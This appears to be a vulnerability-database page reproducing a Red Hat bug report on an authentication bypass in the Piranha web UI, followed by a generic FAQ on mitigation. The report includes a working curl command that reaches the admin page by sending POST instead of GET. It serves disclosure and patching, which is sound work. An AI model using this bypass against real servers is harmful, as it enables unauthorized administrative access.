REDHAT-BUG-1043040: High severity Piranha Piranha vulnerability
Created attachment 836487 [details] Auth bypass fix
Description of problem:
In Piranha web UI configuration, only GET requests require authentication (via <Limit GET>...</Limit> in config file), it's possible to display some page by sending POST requests.
Version-Release number of selected component (if applicable): piranha-0.8.6-4.el6.x8664
Steps to Reproduce:
1. GET requests require authentication as expected:
curl -I http://192.168.1.34:3636/secure/control.php HTTP/1.1 401 Authorization Required Date: Fri, 13 Dec 2013 20:43:35 GMT Server: Apache/2.2.15 (CentOS) PHP/5.3.3 WWW-Authenticate: Basic realm="access to the piranha web GUI" Connection: close Content-Type: text/html; charset=iso-8859-1
2. The same request but with POST:
curl -d'' -I http://192.168.1.34:3636/secure/control.php <HTML> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML Strict Level 3//EN">
<HEAD> <TITLE>Piranha (Control/Monitoring)</TITLE> <STYLE TYPE="text/css"> [...] [...] [...] </FORM> </TD></TR></TABLE> </BODY>
Actual results: Admin page displayed
Expected results: Admin page denied
Additional info: A fix is attached
Affected Software
Event History
Frequently Asked Questions
What is the vulnerability associated with REDHAT-BUG-1043040?
REDHAT-BUG-1043040 is an authentication bypass vulnerability in the Piranha web UI configuration allowing unauthorized access through POST requests.
How can I mitigate the risk of REDHAT-BUG-1043040?
To mitigate the risk of REDHAT-BUG-1043040, ensure that both GET and POST requests require authentication by adjusting the web server configuration.
Which versions of Piranha are affected by REDHAT-BUG-1043040?
All versions of Piranha that allow unauthenticated POST requests are potentially affected by the REDHAT-BUG-1043040 vulnerability.
What should I do if I am exposed to REDHAT-BUG-1043040?
If exposed to REDHAT-BUG-1043040, immediately implement proper authentication controls to restrict POST request access.
Is there a patch available for REDHAT-BUG-1043040?
Yes, a fix for REDHAT-BUG-1043040 has been released that you should apply to close the authentication bypass vulnerability.